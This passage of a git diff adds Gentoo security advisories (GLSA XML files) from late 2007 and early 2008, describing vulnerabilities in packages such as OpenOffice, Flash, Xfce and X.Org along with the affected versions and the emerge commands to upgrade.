+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-24.xml b/xml/htdocs/security/en/glsa/glsa-200712-24.xml
new file mode 100644
index 00000000..511749eb
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-24.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-24">
+  <title>AMD64 x86 emulation GTK+ library: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple integer overflow vulnerabilities in the AMD64 x86 emulation GTK+
+    libraries may result in the execution of arbitrary code in applications
+    using Cairo.
+  </synopsis>
+  <product type="ebuild">emul-linux-x86-gtklibs</product>
+  <announced>December 30, 2007</announced>
+  <revised>December 30, 2007: 01</revised>
+  <bug>201860</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-emulation/emul-linux-x86-gtklibs" auto="yes" arch="amd64">
+      <unaffected range="ge">20071214</unaffected>
+      <vulnerable range="lt">20071214</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cairo is a 2D vector graphics library with cross-device output support.
+    The AMD64 x86 emulation GTK+ library packages Cairo libraries for 32bit
+    x86 emulation on AMD64.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Cairo versions used by the AMD64 x86 emulation GTK+ libraries were
+    vulnerable to integer overflow vulnerabilities (GLSA 200712-04).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to view or process a specially
+    crafted PNG image file in an application linked against Cairo, possibly
+    leading to the execution of arbitrary code with the privileges of the
+    user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All AMD64 x86 emulation GTK+ library users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/emul-linux-x86-gtklibs-20071214&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200712-04.xml">GLSA 200712-04</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 22 Dec 2007 13:50:24 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 29 Dec 2007 22:02:45 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 29 Dec 2007 22:14:56 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200712-25.xml b/xml/htdocs/security/en/glsa/glsa-200712-25.xml
new file mode 100644
index 00000000..7425aa45
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200712-25.xml
@@ -0,0 +1,89 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200712-25">
+  <title>OpenOffice.org: User-assisted arbitrary code execution</title>
+  <synopsis>
+    An unspecified vulnerability has been reported in OpenOffice.org, possibly
+    allowing for the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">openoffice openoffice-bin hsqldb</product>
+  <announced>December 30, 2007</announced>
+  <revised>December 30, 2007: 01</revised>
+  <bug>200771</bug>
+  <bug>201799</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/openoffice" auto="yes" arch="*">
+      <unaffected range="ge">2.3.1</unaffected>
+      <vulnerable range="lt">2.3.1</vulnerable>
+    </package>
+    <package name="app-office/openoffice-bin" auto="yes" arch="*">
+      <unaffected range="ge">2.3.1</unaffected>
+      <vulnerable range="lt">2.3.1</vulnerable>
+    </package>
+    <package name="dev-db/hsqldb" auto="yes" arch="*">
+      <unaffected range="ge">1.8.0.9</unaffected>
+      <vulnerable range="lt">1.8.0.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenOffice.org is an open source office productivity suite, including
+    word processing, spreadsheet, presentation, drawing, data charting,
+    formula editing, and file conversion facilities.
+    </p>
+  </background>
+  <description>
+    <p>
+    The HSQLDB engine, as used in Openoffice.org, does not properly enforce
+    restrictions to SQL statements.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    document, possibly resulting in the remote execution of arbitrary Java
+    code with the privileges of the user running OpenOffice.org.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenOffice.org users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-2.3.1&quot;</code>
+    <p>
+    All OpenOffice.org binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-bin-2.3.1&quot;</code>
+    <p>
+    All HSQLDB users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/hsqldb-1.8.0.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4575">CVE-2007-4575</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 08 Dec 2007 23:31:31 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 08 Dec 2007 23:31:39 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 09 Dec 2007 00:15:00 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-01.xml b/xml/htdocs/security/en/glsa/glsa-200801-01.xml
new file mode 100644
index 00000000..3993a32c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-01.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-01">
+  <title>unp: Arbitrary command execution</title>
+  <synopsis>
+    unp allows execution of arbitrary code via malicious file names.
+  </synopsis>
+  <product type="ebuild">remote</product>
+  <announced>January 09, 2008</announced>
+  <revised>January 09, 2008: 01</revised>
+  <bug>203106</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/unp" auto="yes" arch="*">
+      <unaffected range="ge">1.0.14</unaffected>
+      <vulnerable range="lt">1.0.14</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    unp is a script for unpacking various file formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Erich Schubert from Debian discovered that unp does not escape file
+    names properly before passing them to calls of the shell.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user or automated system to unpack a
+    compressed archive with a specially crafted file name, leading to the
+    execution of shell commands from within the filename. That code will be
+    executed with the privileges of the user running unp.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All unp users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/unp-1.0.14&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6610">CVE-2007-6610</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 28 Dec 2007 00:23:45 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 28 Dec 2007 11:27:28 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 28 Dec 2007 22:57:04 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-02.xml b/xml/htdocs/security/en/glsa/glsa-200801-02.xml
new file mode 100644
index 00000000..fe528803
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-02.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-02">
+  <title>R: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in R could result in the execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">R</product>
+  <announced>January 09, 2008</announced>
+  <revised>January 09, 2008: 02</revised>
+  <bug>198976</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/R" auto="yes" arch="*">
+      <unaffected range="ge">2.2.1-r1</unaffected>
+      <vulnerable range="lt">2.2.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    R is a GPL licensed implementation of S, a language and environment for
+    statistical computing and graphics. PCRE is a library providing
+    functions for Perl-compatible regular expressions.
+    </p>
+  </background>
+  <description>
+    <p>
+    R includes a copy of PCRE which is vulnerable to multiple buffer
+    overflows and memory corruptions vulnerabilities (GLSA 200711-30).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to process specially crafted regular
+    expressions with R, which could possibly lead to the execution of
+    arbitrary code, a Denial of Service or the disclosure of sensitive
+    information.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All R users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/R-2.2.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200711-30.xml">GLSA 200711-30</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 20 Nov 2007 22:35:44 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 21 Nov 2007 00:08:56 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 03 Jan 2008 22:08:35 +0000">
+    py2
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-03.xml b/xml/htdocs/security/en/glsa/glsa-200801-03.xml
new file mode 100644
index 00000000..f6cb19ef
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-03.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-03">
+  <title>Claws Mail: Insecure temporary file creation</title>
+  <synopsis>
+    Claws Mail uses temporary files in an insecure manner, allowing for a
+    symlink attack.
+  </synopsis>
+  <product type="ebuild">claws-mail</product>
+  <announced>January 09, 2008</announced>
+  <revised>January 09, 2008: 01</revised>
+  <bug>201244</bug>
+  <access>local</access>
+  <affected>
+    <package name="mail-client/claws-mail" auto="yes" arch="*">
+      <unaffected range="ge">3.0.2-r1</unaffected>
+      <vulnerable range="lt">3.0.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Claws Mail is a GTK based e-mail client.
+    </p>
+  </background>
+  <description>
+    <p>
+    Nico Golde from Debian reported that the sylprint.pl script that is
+    part of the Claws Mail tools creates temporary files in an insecure
+    manner.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit this vulnerability to conduct symlink
+    attacks to overwrite files with the privileges of the user running
+    Claws Mail.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Claws Mail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/claws-mail-3.0.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6208">CVE-2007-6208</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 06 Jan 2008 23:01:06 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 08 Jan 2008 23:07:07 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 08 Jan 2008 23:07:18 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-04.xml b/xml/htdocs/security/en/glsa/glsa-200801-04.xml
new file mode 100644
index 00000000..b09b8e20
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-04.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-04">
+  <title>OpenAFS: Denial of Service</title>
+  <synopsis>
+    A Denial of Service vulnerability has been discovered in OpenAFS.
+  </synopsis>
+  <product type="ebuild">openafs</product>
+  <announced>January 09, 2008</announced>
+  <revised>January 09, 2008: 01</revised>
+  <bug>203573</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-fs/openafs" auto="yes" arch="*">
+      <unaffected range="ge">1.4.6</unaffected>
+      <vulnerable range="lt">1.4.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenAFS is a distributed network filesystem.
+    </p>
+  </background>
+  <description>
+    <p>
+    Russ Allbery, Jeffrey Altman, Dan Hyde and Thomas Mueller discovered a
+    race condition due to an improper handling of the clients callbacks
+    lists.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could construct cases which trigger the race
+    condition, resulting in a server crash.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenAFS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-fs/openafs-1.4.6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6599">CVE-2007-6599</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 05 Jan 2008 00:13:45 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 08 Jan 2008 21:35:12 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 08 Jan 2008 21:35:21 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-05.xml b/xml/htdocs/security/en/glsa/glsa-200801-05.xml
new file mode 100644
index 00000000..9025ee1c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-05.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-05">
+  <title>Squid: Denial of Service</title>
+  <synopsis>
+    A Denial of Service vulnerability has been reported in Squid.
+  </synopsis>
+  <product type="ebuild">squid</product>
+  <announced>January 09, 2008</announced>
+  <revised>January 09, 2008: 01</revised>
+  <bug>201209</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-proxy/squid" auto="yes" arch="*">
+      <unaffected range="ge">2.6.17</unaffected>
+      <vulnerable range="lt">2.6.17</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Squid is a multi-protocol proxy server.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Wikimedia Foundation reported a memory leak vulnerability when
+    performing cache updates.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could perform numerous specially crafted requests to
+    the vulnerable server, resulting in a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Squid users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-proxy/squid-2.6.17&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6239">CVE-2007-6239</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 05 Jan 2008 21:43:38 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 05 Jan 2008 21:44:28 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 07 Jan 2008 21:35:14 +0000">
+    py2
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-06.xml b/xml/htdocs/security/en/glsa/glsa-200801-06.xml
new file mode 100644
index 00000000..68e8c5cf
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-06.xml
@@ -0,0 +1,84 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-06">
+  <title>Xfce: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Xfce might allow user-assisted attackers to
+    execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">xfce4-panel libxfcegui4</product>
+  <announced>January 09, 2008</announced>
+  <revised>January 10, 2008: 03</revised>
+  <bug>201292</bug>
+  <bug>201293</bug>
+  <access>remote</access>
+  <affected>
+    <package name="xfce-base/xfce4-panel" auto="yes" arch="*">
+      <unaffected range="ge">4.4.2</unaffected>
+      <vulnerable range="lt">4.4.2</vulnerable>
+    </package>
+    <package name="xfce-base/libxfcegui4" auto="yes" arch="*">
+      <unaffected range="ge">4.4.2</unaffected>
+      <vulnerable range="lt">4.4.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Xfce is a GTK+ 2 based desktop environment that allows to run a modern
+    desktop environment on modest hardware.
+    </p>
+  </background>
+  <description>
+    <p>
+    Gregory Andersen reported that the Xfce4 panel does not correctly
+    calculate memory boundaries, leading to a stack-based buffer overflow
+    in the launcher_update_panel_entry() function (CVE-2007-6531). Daichi
+    Kawahata reported libxfcegui4 did not copy provided values when
+    creating "SessionClient" structs, possibly leading to access of freed
+    memory areas (CVE-2007-6532).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to install a specially crafted
+    "rc" file to execute arbitrary code via long strings in the "Name" and
+    "Comment" fields or via unspecified vectors involving the second
+    vulnerability.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Xfce4 panel users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=xfce-base/xfce4-panel-4.4.2&quot;</code>
+    <p>
+    All libxfcegui4 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=xfce-base/libxfcegui4-4.4.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6531">CVE-2007-6531</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6532">CVE-2007-6532</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 08 Dec 2007 23:45:36 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 22 Dec 2007 13:22:06 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 22 Dec 2007 16:37:18 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-07.xml b/xml/htdocs/security/en/glsa/glsa-200801-07.xml
new file mode 100644
index 00000000..cc4622a2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-07.xml
@@ -0,0 +1,102 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-07">
+  <title>Adobe Flash Player: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been identified, the worst of which allow
+    arbitrary code execution on a user's system via a malicious Flash file.
+  </synopsis>
+  <product type="ebuild">adobe-flash</product>
+  <announced>January 20, 2008</announced>
+  <revised>May 28, 2009: 03</revised>
+  <bug>193519</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-plugins/adobe-flash" auto="yes" arch="*">
+      <unaffected range="ge">9.0.115.0</unaffected>
+      <vulnerable range="lt">9.0.115.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Adobe Flash Player is a renderer for the popular SWF file format,
+    which is commonly used to provide interactive websites, digital
+    experiences and mobile content.
+    </p>
+  </background>
+  <description>
+    <ul>
+    <li>Flash contains a copy of PCRE which is vulnerable to a heap-based
+    buffer overflow (GLSA 200711-30, CVE-2007-4768).</li>
+    <li>Aaron Portnoy reported an unspecified vulnerability related to
+    input validation (CVE-2007-6242).</li>
+    <li>Jesse Michael and Thomas Biege reported that Flash does not
+    correctly set memory permissions (CVE-2007-6246).</li>
+    <li>Dan Boneh, Adam Barth, Andrew Bortz, Collin Jackson, and Weidong
+    Shao reported that Flash does not pin DNS hostnames to a single IP
+    addresses, allowing for DNS rebinding attacks (CVE-2007-5275).</li>
+    <li>David Neu reported an error withing the implementation of the
+    Socket and XMLSocket ActionScript 3 classes (CVE-2007-4324).</li>
+    <li>Toshiharu Sugiyama reported that Flash does not sufficiently
+    restrict the interpretation and usage of cross-domain policy files,
+    allowing for easier cross-site scripting attacks (CVE-2007-6243).</li>
+    <li>Rich Cannings reported a cross-site scripting vulnerability in the
+    way the "asfunction:" protocol was handled (CVE-2007-6244).</li>
+    <li>Toshiharu Sugiyama discovered that Flash allows remote attackers to
+    modify HTTP headers for client requests and conduct HTTP Request
+    Splitting attacks (CVE-2007-6245).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted file
+    (usually in a web browser), possibly leading to the execution of
+    arbitrary code with the privileges of the user running the Adobe Flash
+    Player. The attacker could also cause a user's machine to establish TCP
+    sessions with arbitrary hosts, bypass the Security Sandbox Model,
+    obtain sensitive information, port scan arbitrary hosts, or conduct
+    cross-site-scripting attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Adobe Flash Player users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-plugins/adobe-flash-9.0.115.0&quot;</code>
+    <p>
+    Please be advised that unaffected packages of the Adobe Flash Player
+    have known problems when used from within the Konqueror and Opera
+    browsers.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4324">CVE-2007-4324</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4768">CVE-2007-4768</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5275">CVE-2007-5275</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6242">CVE-2007-6242</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6243">CVE-2007-6243</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6244">CVE-2007-6244</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6245">CVE-2007-6245</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6246">CVE-2007-6246</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200711-30.xml">GLSA 200711-30</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 01 Jan 2008 22:05:12 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 15 Jan 2008 17:34:55 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 15 Jan 2008 17:41:04 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-08.xml b/xml/htdocs/security/en/glsa/glsa-200801-08.xml
new file mode 100644
index 00000000..7128b211
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-08.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-08">
+  <title>libcdio: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A buffer overflow vulnerability has been discovered in libcdio.
+  </synopsis>
+  <product type="ebuild">libcdio</product>
+  <announced>January 20, 2008</announced>
+  <revised>January 20, 2008: 01</revised>
+  <bug>203777</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/libcdio" auto="yes" arch="*">
+      <unaffected range="ge">0.78.2-r4</unaffected>
+      <vulnerable range="lt">0.78.2-r4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libcdio is a library for accessing CD-ROM and CD images.
+    </p>
+  </background>
+  <description>
+    <p>
+    Devon Miller reported a boundary error in the "print_iso9660_recurse()"
+    function in files cd-info.c and iso-info.c when processing long
+    filenames within Joliet images.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted ISO
+    image in the cd-info and iso-info applications, resulting in the
+    execution of arbitrary code with the privileges of the user running the
+    application. Applications linking against shared libraries of libcdio
+    are not affected.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libcdio users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/libcdio-0.78.2-r4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6613">CVE-2007-6613</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 01 Jan 2008 22:05:45 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 08 Jan 2008 21:42:57 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 15 Jan 2008 17:44:04 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200801-09.xml b/xml/htdocs/security/en/glsa/glsa-200801-09.xml
new file mode 100644
index 00000000..0a8d1a71
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200801-09.xml
@@ -0,0 +1,106 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200801-09">
+  <title>X.Org X server and Xfont library: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in the X.Org X server and
+    Xfont library, allowing for a local privilege escalation and arbitrary code
+    execution.
+  </synopsis>
+  <product type="ebuild">xorg-server libXfont</product>
+  <announced>January 20, 2008</announced>
+  <revised>March 05, 2008: 03</revised>
+  <bug>204362</bug>
+  <bug>208343</bug>
+  <access>remote, local</access>
+  <affected>
+    <package name="x11-base/xorg-server" auto="yes" arch="*">
+      <unaffected range="ge">1.3.0.0-r5</unaffected>
+      <vulnerable range="lt">1.3.0.0-r5</vulnerable>
+    </package>
+    <package name="x11-libs/libXfont" auto="yes" arch="*">
+      <unaffected range="ge">1.3.1-r1</unaffected>
+      <vulnerable range="lt">1.3.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The X Window System is a graphical windowing system based on a
+    client/server model.
+    </p>
+  </background>
+  <description>
+    <p>
+    regenrecht reported multiple vulnerabilities in various X server
+    extension via iDefense:
+    </p>
+    <ul>
+    <li>The XFree86-Misc extension does not properly sanitize a parameter
+    within a PassMessage request, allowing the modification of a function
+    pointer (CVE-2007-5760).</li>
